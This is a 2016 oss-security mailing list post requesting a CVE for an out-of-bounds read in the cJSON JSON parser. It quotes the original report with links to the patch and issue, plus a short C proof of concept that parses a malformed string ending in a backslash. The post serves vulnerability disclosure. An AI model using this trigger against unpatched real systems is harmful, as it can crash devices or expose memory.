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Date: Mon, 7 Nov 2016 10:46:46 +0200
From: Henri Salo <henri@...v.fi>
To: cve-assign@...re.org
Cc: oss-security@...ts.openwall.com
Subject: CVE request: cJSON buffer out of bound read

On Sun, Oct 02, 2016 at 08:06:25PM +0800, Marco Grassi wrote:
> I would like to report a buffer out of bound read problem in cJSON, which
> is a embeddable JSON parser, used (I imagine) in embedded devices, or even
> bigger stuff like the ps4 (
> http://doc.dl.playstation.net/doc/ps4-oss/cjson.html).
> 
> patch:
> https://github.com/DaveGamble/cJSON/commit/94df772485c92866ca417d92137747b2e3b0a917
> 
> issue:
> https://github.com/DaveGamble/cJSON/issues/30
> 
> Poc with the malformed string
> 
> #include <stdio.h>
> #include <stdint.h>
> #include <fcntl.h>
> #include "cJSON.h"
> 
> static const char *my_json = "\"000000000000000000\\";
> 
> int main(int argc, const char * argv[]) {
>     cJSON * root = cJSON_Parse(my_json);
>     char * rendered = cJSON_Print(root);
>     printf("%s\n", rendered);
>     return 0;
> }

MITRE can you assign a CVE identifier for this vulnerability, thank you?

-- 
Henri Salo

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